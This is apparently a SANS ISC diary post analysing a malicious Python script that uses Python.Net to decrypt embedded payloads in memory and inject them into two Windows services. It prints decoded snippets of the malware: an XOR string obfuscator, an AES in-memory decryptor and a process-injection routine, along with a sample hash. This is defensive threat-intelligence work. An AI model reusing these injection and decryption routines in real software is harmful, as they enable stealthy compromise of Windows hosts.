From Python to .Net
The Microsoft operating system provides the .Net framework[1] to developers. It allows to fully interact with the OS and write powerful applications... but also malicious ones. In a previous diary[2], I talked about a malicious Python script that interacted with the OS using the ctypes[3] library. Yesterday I found another Python script that interacts with the .Net framework to perform the low-level actions.
The script was called 'prophile.py'[4] (SHA256:65b43e30547ae4066229040c9056aa9243145b9ae5f3b9d0a01a5068ef9a0361) has a low VT score of 4/58. Let's have a look at it!
First, all interesting strings are obfuscated using a one-liner:
>>> URIAbQ=lambda s,k:''.join([chr((ord(c)^k)%0x100) for c in s]) >>> URIAbQ ('\x8d\x98\x8a\x92\x95\x90\x8a\x8d\xd9\xd6\xbf\xb0\xd9\xdb\xaa\xbc\xab\xaf\xb0\xba\xbc\xaa\xd9\x9c\x88\xd9', 249) 'tasklist /FI "SERVICES eq '
As the diary title says, the Python script uses the Python.Net library[5] to interact with the .Net framework:
Note: all the snippets of code have been decoded/beautified
from System.Security.Cryptography import* from System.Reflection import* import System
The script uses encrypted payloads but it was not possible to decrypt them because the script was found outside of its context. Indeed, it expects one command-line argument:
if __name__ == "__main__": if len(sys.argv) != 2: exit()
The expected parameter is the encryption key as we can see in this function call:
payload = DecryptPayloadToMemory(base64.b64decode(payload1[16:]), sys.argv[1], payload1[:16], log_file)
I did not found the parameter passed as an argument, no way to decrypt the payloads!
These payloads (stored in the script) are decrypted in memory:
def DecryptPayloadToMemory(payload, key, iv, log_file): instance = None try: rm = RijndaelManaged(KeySize=128, BlockSize=128) rm.Key = Str2Bytes(key) rm.IV = Str2Bytes(iv) rm.Padding = PaddingMode.PKCS7 payload = Str2Bytes(payload) with System.IO.MemoryStream()as memory_handle: with CryptoStream(memory_handle,rm.CreateDecryptor(rm.Key, rm.IV), CryptoStreamMode.Write) as crypto_handle: crypto_handle.Write(payload, 0, payload.Length) print(crypto_handle.FlushFinalBlock()) memory_handle.Position = 0 instance = System.Array.CreateInstance(System.Byte, memory_handle.Length) memory_handle.Read(instance, 0, instance.Length) except System.SystemException as ex: log_file.write('[!] Net exc (msg: {0}, st: {1})'.format(ex.Message, ex.StackTrace)) log_file.flush() instance = None return instance
The script injects malicious code into two Windows services:
process_name = "rpceptmapper" process_name2 = "lanmanserver"
Two payloads are injected into these services using the Assembly.
method[6]:
def InjectCode(enc_payld, process_name, log_file, asm): payload = DecryptPayloadToMemory(base64.b64decode(enc_payld[16:]), sys.argv[1], enc_payld[:16], log_file) if payload == None: log_file.write('[!] Failed to get payload') return False try: type = asm.GetType('DefaultSerializer.DefaultSerializer') pid = GetProcessPID(process_name) if pid != 0: NQHRxUDMlW = asm.CreateInstance(type.FullName,False,BindingFlags.ExactBinding,None,System.Array[System.Object]([payload,pid]),None,None) NQHRxUDMlE = type.GetMethod('Invoke') log_file.write(NQHRxUDMlE.Invoke(NQHRxUDMlW, None)) else: log_file.write('[!] Failed to get pid') return True except System.SystemException as ex: log_file.write('[!] Net exc (msg: {0}, st: {1})'.format(ex.Message,ex.StackTrace)) return False return True
Another example of how Python becomes more and more popular for attackers!
[1] https://dotnet.microsoft.com/download/dotnet-framework
[2] https://isc.sans.edu/forums/diary/Python+and+Risky+Windows+API+Calls/26530
[3] https://docs.python.org/3/library/ctypes.html
[4] https://bazaar.abuse.ch/sample/65b43e30547ae4066229040c9056aa9243145b9ae5f3b9d0a01a5068ef9a0361/
[5] http://pythonnet.github.io
[6] https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.createinstance?view=net-5.0
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments